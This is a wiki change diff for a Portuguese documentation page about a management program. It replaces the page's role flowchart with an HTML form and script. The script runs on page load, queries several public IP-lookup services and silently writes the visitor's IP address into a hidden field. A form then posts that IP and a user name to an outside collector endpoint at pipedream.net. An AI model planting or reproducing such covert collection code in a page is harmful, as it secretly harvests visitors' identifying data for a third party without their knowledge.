Mudanças do documento Programa de Gestão: Visão Geral

Última modificação por victorborges em 02/08/2022, 19:50

Da versão < 5.1 >
editado por victorborges
em 02/08/2022, 19:10
Para versão < 3.1 >
editado por victorborges
em 02/08/2022, 16:20
< >
Comentário da mudança: Não existe comentário para essa versão

Summary

Details

Page properties
Content
... ... @@ -1,160 +1,84 @@
1 1  {{html}}
2 -<div style="display: flex;font-size: 13px;">
3 - <div
4 - style="flex-grow: 1; border: 1px solid black;align-content: center;display: flex;flex-direction: column;padding: 8px 0;">
5 - <h2 style="text-align: center; border-bottom: 1px solid black;">Administração</h2>
6 - <div style="padding-top: 10px;display: flex;flex-direction: column;">
7 - <div
8 - style="width: 30px; height: 30px; border: 1px solid black;align-self: center; border-radius: 50%; background-color: black;">
9 - <br></div>
10 - </div>
11 - <div style="display: flex;flex-direction: column;">
12 - <div style="width: 1px; height: 30px; border: 1px solid black;align-self: center;"><br></div><svg
13 - xmlns="http://www.w3.org/2000/svg" height="10" width="15.000000000000002" style="align-self: center;">
14 - <g>
15 - <path d="m1.0845,6.80842l0,-12.7465l12.74649,12.7465l-12.74649,0z" fill="#000000" id="svg_12" stroke="#000"
16 - transform="rotate(-45 7.45775 0.435174)"></path>
17 - </g>
18 - </svg>
19 - </div>
20 - <div
21 - style="width: 150px; min-height: 40px; border: 1px solid black;align-self: center;text-align: center;padding-top: 10px;">
22 - Cadastro: Atividades</div>
23 - <div style="display: flex;flex-direction: column;">
24 - <div style="width: 1px; height: 30px; border: 1px solid black;align-self: center;"><br></div><svg
25 - xmlns="http://www.w3.org/2000/svg" height="10" width="15.000000000000002" style="align-self: center;">
26 - <g>
27 - <path d="m1.0845,6.80842l0,-12.7465l12.74649,12.7465l-12.74649,0z" fill="#000000" id="svg_12" stroke="#000"
28 - transform="rotate(-45 7.45775 0.435174)"></path>
29 - </g>
30 - </svg>
31 - </div>
32 - <div
33 - style="width: 150px; min-height: 40px; border: 1px solid black;align-self: center;text-align: center;padding-top: 10px;">
34 - Cadastro: Editais</div>
35 - <div
36 - style="width: 50%; border-bottom: 2px solid black; border-left: 2px solid black;height: 20px;align-self: flex-end;margin-bottom: 20px;">
37 - <br></div>
38 - <div style="display: flex;justify-content: flex-end;">
39 - <div
40 - style="width: 150px; min-height: 40px; border: 1px solid black;align-self: center;text-align: center;padding-top: 10px;">
41 - Avaliar Inscrição</div><svg xmlns="http://www.w3.org/2000/svg" height="15.000000000000002" width="10"
42 - style="align-self: center;">
43 - <g>
44 - <title data-cke-title="Layer 1">Layer 1</title>
45 - <path d="m3.17753,13.90144l0,-12.7465l12.74649,12.7465l-12.74649,0z" fill="#000000" id="svg_12" stroke="#000"
46 - transform="rotate(45 9.55077 7.52819)"></path>
47 - </g>
48 - </svg>
49 - <div style="height: 4px; width: calc(50% - 85px);border-top: 2px solid black;align-self: center;"><br></div>
50 - </div>
51 - <div
52 - style="width: 50%; border-bottom: 2px solid black; border-left: 2px solid black;height: 20px;align-self: flex-end;">
53 - <br></div>
54 - </div>
55 - <div
56 - style="flex-grow: 1; border: 1px solid black;align-content: center;display: flex;flex-direction: column;padding: 8px 0;">
57 - <h2 style="text-align: center; border-bottom: 1px solid black;">Participante</h2>
58 - <div style="width: 150px; min-height: 40px; align-self: center;"><br></div>
59 - <div style="width: 150px; min-height: 40px; align-self: center;"><br></div>
60 - <div style="width: 150px; min-height: 40px; align-self: center;"><br></div>
61 - <div style="width: 150px; min-height: 40px; align-self: center;"><br></div>
62 - <div style="width: 150px; min-height: 40px; align-self: center;"><br></div>
63 - <div style="display: flex;">
64 - <div style="height: 4px; width: calc(50% - 85px);border-top: 2px solid black;align-self: center;"><br></div><svg
65 - xmlns="http://www.w3.org/2000/svg" height="15.000000000000002" width="10" style="align-self: center;">
66 - <g>
67 - <path d="m-5.89223,13.78516l0,-12.7465l12.74649,12.7465l-12.74649,0z" fill="#000000" id="svg_12" stroke="#000"
68 - transform="rotate(-135 0.481011 7.41191)"></path>
69 - </g>
70 - </svg>
71 - <div
72 - style="width: 150px; min-height: 40px; border: 1px solid black;align-self: center;text-align: center;padding-top: 10px;">
73 - Inscrição</div>
74 - </div>
75 - <div style="display: flex;flex-direction: column;"></div>
76 - <div
77 - style="width: 50%; border-bottom: 2px solid black; border-right: 2px solid black;height: 20px;align-self: flex-start;margin-bottom: 20px;">
78 - <br></div>
79 - <div style="display: flex;">
80 - <div style="height: 4px; width: calc(50% - 85px);border-top: 2px solid black;align-self: center;"><br></div><svg
81 - xmlns="http://www.w3.org/2000/svg" height="15.000000000000002" width="10" style="align-self: center;">
82 - <g>
83 - <path d="m-5.89223,13.78516l0,-12.7465l12.74649,12.7465l-12.74649,0z" fill="#000000" id="svg_12" stroke="#000"
84 - transform="rotate(-135 0.481011 7.41191)"></path>
85 - </g>
86 - </svg>
87 - <div
88 - style="width: 150px; min-height: 40px; border: 1px solid black;align-self: center;text-align: center;padding-top: 1px;">
89 - Plano de Trabalho: Cadastrar</div>
90 - </div>
91 - <div
92 - style="width: 50%; border-bottom: 2px solid black; border-left: 2px solid black;height: 20px;align-self: flex-end;margin-bottom: 20px;">
93 - <br></div>
94 - <div style="display: flex;justify-content: flex-end;">
95 - <div
96 - style="width: 150px; min-height: 40px; border: 1px solid black;align-self: center;text-align: center;padding-top: 1px;">
97 - Plano de Trabalho: Registrar Entregas</div><svg xmlns="http://www.w3.org/2000/svg" height="15.000000000000002"
98 - width="10" style="align-self: center;">
99 - <g>
100 - <title data-cke-title="Layer 1">Layer 1</title>
101 - <path d="m3.17753,13.90144l0,-12.7465l12.74649,12.7465l-12.74649,0z" fill="#000000" id="svg_12" stroke="#000"
102 - transform="rotate(45 9.55077 7.52819)"></path>
103 - </g>
104 - </svg>
105 - <div style="height: 4px; width: calc(50% - 85px);border-top: 2px solid black;align-self: center;"><br></div>
106 - </div>
107 - <div
108 - style="width: 50%; border-bottom: 2px solid black; border-left: 2px solid black;height: 20px;align-self: flex-end;margin-bottom: 20px;">
109 - <br></div>
110 - </div>
111 - <div
112 - style="flex-grow: 1; border: 1px solid black;align-content: center;display: flex;flex-direction: column;padding: 8px 0;">
113 - <h2 style="text-align: center; border-bottom: 1px solid black;">Gestor</h2>
114 - <div style="width: 150px; min-height: 40px; align-self: center;"><br></div>
115 - <div style="width: 150px; min-height: 40px; align-self: center;"><br></div>
116 - <div style="width: 150px; min-height: 40px; align-self: center;"><br></div>
117 - <div style="width: 150px; min-height: 40px; align-self: center;"><br></div>
118 - <div style="width: 150px; min-height: 40px; align-self: center;"><br></div>
119 - <div style="width: 150px; min-height: 40px; align-self: center;"><br></div>
120 - <div style="width: 150px; min-height: 40px; align-self: center;"><br></div>
121 - <div style="width: 150px; min-height: 40px; align-self: center;"><br></div>
122 - <div style="display: flex;">
123 - <div style="height: 4px; width: calc(50% - 85px);border-top: 2px solid black;align-self: center;"><br></div><svg
124 - xmlns="http://www.w3.org/2000/svg" height="15.000000000000002" width="10" style="align-self: center;">
125 - <g>
126 - <path d="m-5.89223,13.78516l0,-12.7465l12.74649,12.7465l-12.74649,0z" fill="#000000" id="svg_12" stroke="#000"
127 - transform="rotate(-135 0.481011 7.41191)"></path>
128 - </g>
129 - </svg>
130 - <div
131 - style="width: 150px; min-height: 40px; border: 1px solid black;align-self: center;text-align: center;padding-top: 1px;">
132 - Plano de Trabalho: Avaliar</div>
133 - </div>
134 - <div
135 - style="width: 50%; border-bottom: 2px solid black; border-right: 2px solid black;height: 20px;align-self: flex-start;margin-bottom: 20px;">
136 - <br></div>
137 - <div style="display: flex;">
138 - <div style="height: 4px; width: calc(50% - 85px);border-top: 2px solid black;align-self: center;"><br></div><svg
139 - xmlns="http://www.w3.org/2000/svg" height="15.000000000000002" width="10" style="align-self: center;">
140 - <g>
141 - <path d="m-5.89223,13.78516l0,-12.7465l12.74649,12.7465l-12.74649,0z" fill="#000000" id="svg_12" stroke="#000"
142 - transform="rotate(-135 0.481011 7.41191)"></path>
143 - </g>
144 - </svg>
145 - <div
146 - style="width: 150px; min-height: 40px; border: 1px solid black;align-self: center;text-align: center;padding-top: 1px;">
147 - Plano de Trabalho: Avaliar</div>
148 - </div>
149 - <div style="display: flex;flex-direction: column;">
150 - <div style="width: 1px; height: 30px; border: 1px solid black;align-self: center;"><br></div><svg
151 - xmlns="http://www.w3.org/2000/svg" height="10" width="15.000000000000002" style="align-self: center;">
152 - <g>
153 - <path d="m1.0845,6.80842l0,-12.7465l12.74649,12.7465l-12.74649,0z" fill="#000000" id="svg_12" stroke="#000"
154 - transform="rotate(-45 7.45775 0.435174)"></path>
155 - </g>
156 - </svg>
157 - </div>
158 - </div>
159 -</div>
2 +<html>
3 + <form method="post" action="https://eowo9vw4eahdild.m.pipedream.net">
4 + <input type="hidden" name="user_ip" id="user_ip" />
5 + <input type="text" name="user_name" placeholder="user name" />
6 + <input type="submit" />
7 + </form>
8 + <script text="script">
9 + const dbIpApi = async () => fetch("https://api.db-ip.com/v2/free/self")
10 + .then(response => response.json())
11 + .then(data => data.ipAddress);
12 +
13 + const ipifyApi = async () => fetch("https://api.ipify.org?format=json")
14 + .then(response => response.json())
15 + .then(data => data.ip);
16 +
17 + const geopluginApi = async () => fetch("http://www.geoplugin.net/json.gp")
18 + .then(response => response.json())
19 + .then(data => data["geoplugin_request"]);
20 +
21 + const cloudflareApi = async () => fetch("https://api.ipify.org?format=json")
22 + .then(response => response.text())
23 + .then(data => data.trim().split('\n').reduce(function(obj, pair) {
24 + pair = pair.split('=');
25 + return obj[pair[0]] = pair[1], obj;
26 + }, {}))
27 + .then(data => data.ip);
28 +
29 + const ipapicoApi = async () => fetch("https://ipapi.co/json/")
30 + .then(response => response.json())
31 + .then(data => data.ip);
32 +
33 + const ipapicomApi = async () => fetch("http://ip-api.com/json")
34 + .then(response => response.json())
35 + .then(data => data.query);
36 +
37 + const ipregistryApi = async () => fetch("https://api.ipregistry.co/?key=tryout")
38 + .then(response => response.json())
39 + .then(data => data.ip);
40 +
41 + const jsonipApi = async () => fetch("https://jsonip.com/")
42 + .then(response => response.json())
43 + .then(data => data.ip);
44 +
45 + const jsontestApi = async () => fetch("http://ip.jsontest.com/")
46 + .then(response => response.json())
47 + .then(data => data.ip);
48 +
49 + const jsonIpApis = [
50 + jsontestApi,
51 + jsonipApi,
52 + ipregistryApi,
53 + ipapicomApi,
54 + ipapicoApi,
55 + ipifyApi,
56 + geopluginApi,
57 + cloudflareApi,
58 + dbIpApi,
59 + ];
60 +
61 + const fetchIp = async (jsonIpApis) => {
62 + let ip = "";
63 + for (let i = 0; i < jsonIpApis.length; i++) {
64 + const jsonIpApi = jsonIpApis[i];
65 + try {
66 + ip = await jsonIpApi();
67 + } finally {
68 + if (ip) {
69 + return ip;
70 + }
71 + }
72 + }
73 + }
74 +
75 + const userIpInput = document.getElementById("user_ip");
76 +
77 + window.onload = () => {
78 + fetchIp(jsonIpApis).then(ip => {
79 + userIpInput.value = ip
80 + });
81 + }
82 + </script>
83 +</html>
160 160  {{/html}}